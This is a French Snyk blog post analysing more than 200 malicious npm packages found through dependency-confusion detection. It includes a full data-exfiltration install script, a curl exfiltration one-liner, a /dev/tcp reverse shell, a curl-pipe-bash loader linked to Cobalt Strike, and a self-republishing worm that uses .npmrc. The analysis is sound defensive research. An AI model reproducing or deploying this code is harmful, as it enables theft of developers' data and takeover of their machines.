Skip to main content

Snyk met au jour plus de 200 paquets npm malveillants, y compris des attaques par confusion de dépendance Cobalt Strike

Écrit par:
Kirill Efimov
Kirill Efimov
wordpress-sync/feature-cobalt-strike

24 mai 2022

0 minutes de lecture

Snyk a récemment découvert plus de 200 paquets malveillants dans le registre npm. Nous avons conscience que la multiplicité des vulnérabilités peut lasser les développeurs, mais cet article ne traite pas d’un cas classique de typosquattage ou d’un énième paquet malveillant. Il se concentre sur l’analyse d’attaques ciblées visant des entreprises que Snyk a pu détecter.

Plutôt que d’expliquer ce qu’est la confusion de dépendance et pourquoi elle a un impact catastrophique sur l’écosystème JavaScript (et le registre npm en particulier), nous allons nous concentrer sur l’approche utilisée par Snyk et les paquets malveillants que nous avons découverts récemment. Si vous avez besoin de vous rafraîchir la mémoire au sujet de la confusion de dépendance, nous vous recommandons l’article d’Alex Birsan, Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies et le récit d’une simulation d’attaque ciblée contre des dépendances que Snyk a interceptée.

Nous souhaitons aussi évoquer comment les chercheurs de bugs et les red teams contribuent à polluer l’écosystème npm en créant de faux rapports de sécurité et en rendant la situation encore plus problématique qu’avant l’avènement des vecteurs d’attaque par confusion de dépendance.

Depuis peu, de nombreuses entreprises ont redoublé d’efforts pour assurer la sécurité de leur chaîne d’approvisionnement, et une bonne partie de ces efforts se concentre sur la détection des paquets malveillants. Nous ne doutons pas que npm ait mobilisé la majorité de leur attention. En interne, nous avons beaucoup parlé de ce registre. Pouvons-nous faire mieux que les autres fournisseurs, qui publient régulièrement des listes de paquets malveillants dont l’impact reste limité ? Nous avons décidé de tenter le coup en implémentant une approche simple afin de voir combien de paquets malveillants nous pourrions détecter. Ensuite, nous avons longuement peaufiné cette approche, et, après l’ajout du 100 paquet malveillant à la base de données des vulnérabilités de Snyk, nous nous sommes dit que nous devions en parler. Mais avant tout, voyons comment trouver des paquets malveillants sur un registre comme npm.

Localiser des paquets malveillants sur le registre npm

Tout d’abord, nous devons définir le périmètre et les objectifs de cette étude de sécurité.

  1. Nous nous sommes concentrés sur les logiques malveillantes exécutées au moment de l’installation. Autrement dit, uniquement ce qui se passe pendant la commandenpm install. Les scripts malveillants déclenchés lors de l’exécution ne sont pas pris en compte. Nous nous y intéresserons dans une autre étude.

  2. Nous voulions limiter le nombre de faux positifs à un niveau gérable. Nous avons défini ce niveau comme un nombre de faux positifs suffisamment bas pour être traités par un analyste de sécurité en une heure au maximum.

  3. Le collecteur doit être modulaire. Il a évolué à plusieurs reprises et continue de le faire. Nous avons dû ajouter et supprimer certaines techniques de détection pour respecter notre point n° 2.

  4. Initialement, nous avions décidé de procéder uniquement à des analyses statiques. Nous évoquerons les analyses dynamiques dans un autre article.

Il est important de définir ce que nous considérons être un comportement malveillant. Par exemple, l’ouverture d’un reverse-shell ou la modification de fichiers en dehors du dossier du projet sont des activités malveillantes.

Pour autant, nous estimons qu’un paquet exfiltrant des informations personnelles (ou des données pouvant en contenir) doit aussi être considéré comme malveillant. Par exemple :

  • Paquet envoyant le GUID d’une machine = non malveillant : le GUID ne contient aucune information personnelle et est souvent utilisé pour comptabiliser le nombre d’installations uniques d’un paquet.

  • Paquet envoyant le chemin du dossier d’une application = malveillant : les chemins des dossiers des applications contiennent généralement le nom de l’utilisateur actuel (qui peut lui-même correspondre aux véritables nom et prénom de l’utilisateur).

La structure du système sous-jacent se présente comme suit :

  1. Logique de récupération des informations concernant les paquets modifiés et nouvellement ajoutés

  2. Logique d’étiquetage afin de fournir des métadonnées raisonnables aux analystes de sécurité

  3. Logique de tri afin de prioriser les leads de paquets malveillants conformément aux informations de l’étape précédente

Le système de collecte génère des fichiers YAML faisant office de points de données pour les leads, qui sont ensuite traités par un analyste de sécurité et marqués avec trois étiquettes possibles :

  • Bon : aucun élément suspect sur le paquet Nous utilisons ces paquets comme exemples de comportements non malveillants.

  • Mauvais : paquets malveillants.

  • Ignoré : paquets qui ne sont sans doute pas malveillants, mais dont le comportement à l’installation est trop fréquent ou complexe pour servir de modèle aux cas futurs.

Explorer le registre npm pour récupérer des informations sur les paquets

Conformément à la première exigence que nous avons définie, nous devons traiter tous les paquets nouveaux ou mis à jour qui contiennent les scripts d’installation preinstallinstall ou postinstall.

Le registre npm repose sur CouchDB. De manière plutôt pratique, il expose publiquement CouchDB par le biais de replicate.npmjs.com. Pour récupérer les données, il suffit donc d’interroger le point de terminaison \_changes en ordre croissant. Nous obtenons ainsi

1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

une liste des paquets créés et mis à jour à compter de l’ID d’événement obtenu lors de l’exécution précédente du collecteur.

Nous utilisons également les points de terminaison https://registry.npmjs.org/ pour récupérer les métadonnées de chaque paquet de la liste et https://api.npmjs.org/downloads pour récupérer le nombre de téléchargements d’un paquet.

La logique de récupération de données ne présente qu’une seule difficulté : la récupération des scripts d’installation depuis un tarball de paquet. Un tarball de paquet npm moyen fait moins d’un mégaoctet, mais certains peuvent atteindre jusqu’à plusieurs centaines de mégaoctets. Par chance, la structure des archives tar permet de recourir au streaming. Ainsi, nous pouvons simplement télécharger une archive de paquet jusqu’à ce que nous obtenions le fichier qui nous intéresse, puis couper la connexion. Nous économisons ainsi du temps et un trafic réseau considérables. Pour y parvenir, nous faisons appel au paquet npm tar-stream. Nous tenons d’ailleurs à remercier Mathias Buus pour ses contributions au développement de JavaScript et Node.js. Il assure également la gestion de nombreux paquets npm open source qui facilitent le quotidien des développeurs.

Étiqueter les paquets malveillants du registre npm

À ce stade, nous disposons de toutes les métadonnées nécessaires sur le paquet : historique des versions, nom du chargé de la maintenance, contenu des scripts d’installation, dépendances, etc. Nous pouvons donc commencer à appliquer des règles. Je vais vous présenter quelques-unes des règles que j’estime les plus efficaces :

  • bigVersion – La version majeure d’un paquet est au moins égale à 90. Lors d’une attaque par confusion de dépendance, le paquet malveillant à télécharger doit avoir un numéro de version supérieur au paquet légitime. Comme nous le verrons par la suite, les paquets malveillants portent donc souvent des numéros de version du type 99.99.99.

  • yearNoUpdates – Le paquet est mis à jour pour la première fois depuis un an. Il s’agit d’un signal fort indiquant que le paquet est resté inactif pendant un certain temps, avant d’être compromis par un acteur malveillant.

  • noGHTagLastVersion – La nouvelle version d’un paquet ne dispose d’aucune étiquette dans un référentiel GitHub correspondant (alors que c’était le cas de la version précédente). Cette règle fonctionne lorsqu’un utilisateur npm a été compromis, mais pas un utilisateur GitHub.

  • isSuspiciousFile – Nous disposons de diverses expressions régulières capables de détecter les scripts d’installation potentiellement malveillants. Elles détectent les techniques d’obfuscation les plus courantes, l’utilisation de domaines du type canarytokens.com ou ngrok.io, les adresses IP suspectes, etc.

  • isSuspiciousScript – Ensemble d’expressions régulières capables de détecter les scripts potentiellement malveillants dans un fichier package.json. Par exemple, nous avons découvert que “postinstall: “node .” est souvent utilisé dans les paquets malveillants.

Le système sous-jacent implémente davantage d’étiquettes, mais les éléments ci-dessus donnent une bonne idée du fonctionnement de la logique du collecteur.

Trier les données des paquets npm

Nous voulions pousser l’automatisation du processus plus loin et éviter la vérification manuelle par des analystes de sécurité. Si un script d’installation était déjà considéré comme bon ou mauvais, nous conservons automatiquement cette classification pour les nouvelles occurrences. Ce système fonctionne principalement pour les comportements non malveillants du type “postinstall”: “webpack” ou “postinstall”: “echo thanks for using please donate”, et permet de réduire le bruit.

Par ailleurs, nous donnons la priorité au traitement de certaines étiquettes, car elles offrent un meilleur taux de vrais positifs. Dans le détail, isSuspiciousFile et isSuspiciousScript ont la plus forte priorité.

Réaliser une analyse de sécurité manuelle

La dernière étape du processus de détection est l’analyse manuelle. Elle se déroule elle aussi en plusieurs étapes :

  1. Vérification des leads triés automatiquement et haute priorité. Ils ont toutes les chances d’être malveillants. Nous passons en revue les leads non triés un par un pour essayer d’élaborer de nouvelles règles permettant de distinguer les occurrences malveillantes et non malveillantes.

  2. Mise à jour de la logique du collecteur conformément au point n°2.

  3. Ajout de chaque paquet malveillant à la base de données des vulnérabilités Snyk.

  4. Dans certains cas, comme pour gxm-reference-web-auth-server, lorsqu’un paquet semble présenter une logique malveillante inhabituelle, un analyste passera plus de temps à le décortiquer et faire part de ses conclusions à la communauté et aux utilisateurs de Snyk.

Ce processus nous permet d’améliorer le collecteur au quotidien et d’automatiser le processus.

Quels paquets malveillants sommes-nous parvenus à détecter sur npm ?

À date, le système a déjà détecté avec certitude plus de 200 paquets malveillants pouvant aussi être utilisés dans le cadre d’une attaque par confusion de dépendance. Essayons maintenant de catégoriser plus finement ces résultats et de présenter les différents comportements et concepts utilisés par les attaquants.

Paquets malveillants procédant à une exfiltration de données

Les paquets malveillants les plus courants sont ceux qui procèdent à une exfiltration de données via des données HTTP ou DNS. Il s’agit souvent d’un copier-coller altéré du script d’origine que nous avons présenté dans notre analyse de la confusion de dépendance. Parfois, ils présentent des commentaires du type « ce paquet est utilisé à des fins de recherche » ou encore « aucune donnée sensible n’est récupérée », mais ne tombez pas dans le panneau pour autant. Ces paquets récupèrent des données personnelles et les envoient sur le réseau, ce qui ne devrait jamais arriver.

Exemple classique d’un tel paquet détecté par Snyk :

1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9    p: package,
10    c: __dirname,
11    hd: os.homedir(),
12    hn: os.hostname(),
13    un: os.userInfo().username,
14    dns: dns.getServers(),
15    r: packageJSON ? packageJSON.___resolved : undefined,
16    v: packageJSON.version,
17    pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21    msg: trackingData,
22});
23
24var options = {
25    hostname: "<malicious host>", 
26    port: 443,
27    path: "/",
28    method: "POST",
29    headers: {
30        "Content-Type": "application/x-www-form-urlencoded",
31        "Content-Length": postData.length,
32    },
33};
34
35var req = https.request(options, (res) => {
36    res.on("data", (d) => {
37        process.stdout.write(d);
38    });
39});
40
41req.on("error", (e) => {
42    // console.error(e);
43});
44
45req.write(postData);
46req.end();

Nous avons observé des tentatives d’exfiltration des informations suivantes (répertoriées par ordre croissant de dangerosité) :

  • Nom de l’utilisateur actuel

  • Chemin du répertoire personnel

  • Chemin du répertoire de l’application

  • Liste de fichiers dans différents dossiers, comme le répertoire personnel ou le répertoire de travail de l’application

  • Résultat de la commande système ifconfig

  • Fichier package.json de l’application

  • Variables d’environnement

  • Fichier .npmrc

Nouveaux venus remarquables de ce groupe de paquets malveillants, les paquets incluant le script install sous la forme npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Clairement, cette commande exfiltre le chemin du répertoire du cache npm (qui se trouve généralement dans le dossier personnel de l’utilisateur actuel), mais elle installe aussi un paquet issu d’une source externe. D’après notre expérience, ce paquet externe est vide et ne contient aucune logique ni aucun fichier. Néanmoins, il présente peut-être des conditions régionales ou autres côté serveur, ou se transforme en cryptomineur ou cheval de Troie au bout d’un certain temps.

Dans certains cas, nous avons vu des scripts bash du type :

1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"

Ce code exfiltre l’adresse IP publique, le nom d’hôte et le nom d’utilisateur.

Paquets malveillants ouvrant un reverse-shell

De nombreux paquets malveillants essaient également d’ouvrir un reverse-shell, ce qui signifie que la machine ciblée se connecte à un serveur distant piloté par un attaquant et autorise le contrôle à distance. La méthode utilisée peut-être aussi simple que :

1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

Des implémentations plus complexes basées sur net.Socket ou d’autres méthodes de connexion ont également été observées.

Le principal problème posé par cette catégorie réside dans le fait que malgré une logique simple, le comportement malveillant à proprement parler se déroule en toute discrétion sur le serveur du hacker. Ceci étant dit, l’impact est visible, par exemple la prise de contrôle par le hacker de l’ordinateur sur lequel le paquet malveillant est installé.

Nous avons décidé d’exécuter l’un de ces paquets dans une sandbox, et nous avons détecté les commandes suivantes :

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& : téléchargement d’un script depuis le serveur malveillant et exécution

  2. Le script téléchargé depuis le serveur malveillant s’est copié dans le répertoire /tmp et a commencé à s’interroger toutes les 10 secondes dans l’attente d’instructions de l’attaquant distant.

  3. Après un certain temps, il a téléchargé un fichier binaire qui, d’après VirusTotal, serait un cheval de Troie Cobalt Strike.

wordpress-sync/blog-cobalt-strike-1

Utilisation de cheval de Troie dans les paquets npm malveillants

Dans cette catégorie, nous retrouvons des paquets qui installent et exécutent divers types de commandes et d’agents de contrôle. Nous n’allons pas entrer dans le détail dans cet article et vous invitons à consulter cet autre article, dans lequel nous avons détaillé il y a peu le processus d’ingénierie inverse du paquet gxm-reference-web-auth-server. Si notre article montre comment des hackers bien intentionnés ont effectué des recherches de manière éthique, il illustre bien ce qui se cache dans les paquets npm de cette catégorie. Et puis, c’est toujours cool de voir une red team en action !

Dans un autre cas intéressant, nous avons suivi les appels système émis depuis la sandbox. L’un d’entre eux a attiré notre attention, car il a créé un processus autonome et s’est mis en attente pendant 30 minutes. Ce n’est qu’à l’issue de ce délai que son activité malveillante a démarré.

Plaisanteries et protestations dans les paquets npm

En mars, nous avons publié un article concernant les protestwares dans les paquets npm. Mais en plus des protestwares, nous avons constaté diverses tentatives d’ouvrir des vidéos YouTube ou pornographiques et d’autres sites Web, ou même d’ajouter ces actions au fichier .bashrc.

Le code utilisé peut être très simple, par exemple open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> dans le script postinstall ou shell.exec(echo ’\\nopen https://<NSFW website>’ >> ~/.bashrc) dans un fichier JavaScript d’installation.

Autre exemple de paquet malveillant potentiellement dangereux que nous avons repéré lors de cette enquête, un paquet détectant si vous disposez d’un fichier .npmrc et qui exécute npm publish si tel est le cas, pour créer sa propre copie au nom de votre utilisateur npm. Avec un comportement similaire à celui des vers, ces paquets peuvent constituer une vraie menace dans certaines circonstances.

1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8  return fs.readFileSync(p).toString()
9}
10try {
11  const npmrcFile = read(process.env.HOME + '/.npmrc')
12  hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16  console.log('Publishing new version of myself')
17  console.log('My new name', pkgName)
18  const pkgPath = __dirname + '/package.json'
19  const pkgJSON = JSON.parse(read(pkgPath))
20  pkgJSON.name = pkgName
21  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22  child_process.exec('npm publish')
23  console.log('DONE')
24}

Conclusions et recommandations

Chez Snyk, nous travaillons chaque jour à sécuriser un peu plus les écosystèmes logiciels open source. Dans cet article, nous avons présenté quelques types de paquets npm malveillants, mais il en existe bien d’autres. Notre étude a montré que l’écosystème npm était très utilisé pour procéder à diverses attaques contre la chaîne d’approvisionnement. Nous vous recommandons d’utiliser des outils comme Snyk pour vous protéger, que vous soyez développeur ou chargé de maintenance, mais aussi pour protéger vos applications et vos projets.

Si vous êtes un chercheur de bugs ou membre d’une red team et devez publier un paquet npm afin de mener des activités de reconnaissance, nous vous recommandons de respecter les conditions de service et directives légales de npm. Dans tous les cas, n’exfiltrez aucune donnée personnelle et présentez de manière claire l’objectif du paquet dans les commentaires du code source ou dans la description. Nous avons constaté que certains paquets de recherche légitimes envoyaient des identifiants de machine unique, par exemple node-machine-id.

Résumé des paquets concernés à la date de publication de cet article

Pour conclure, nous voulons publier la liste des paquets que nous avons détectés. La plupart ne figurent probablement plus dans le registre npm, mais certains s’y trouvent encore à l’heure actuelle.

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings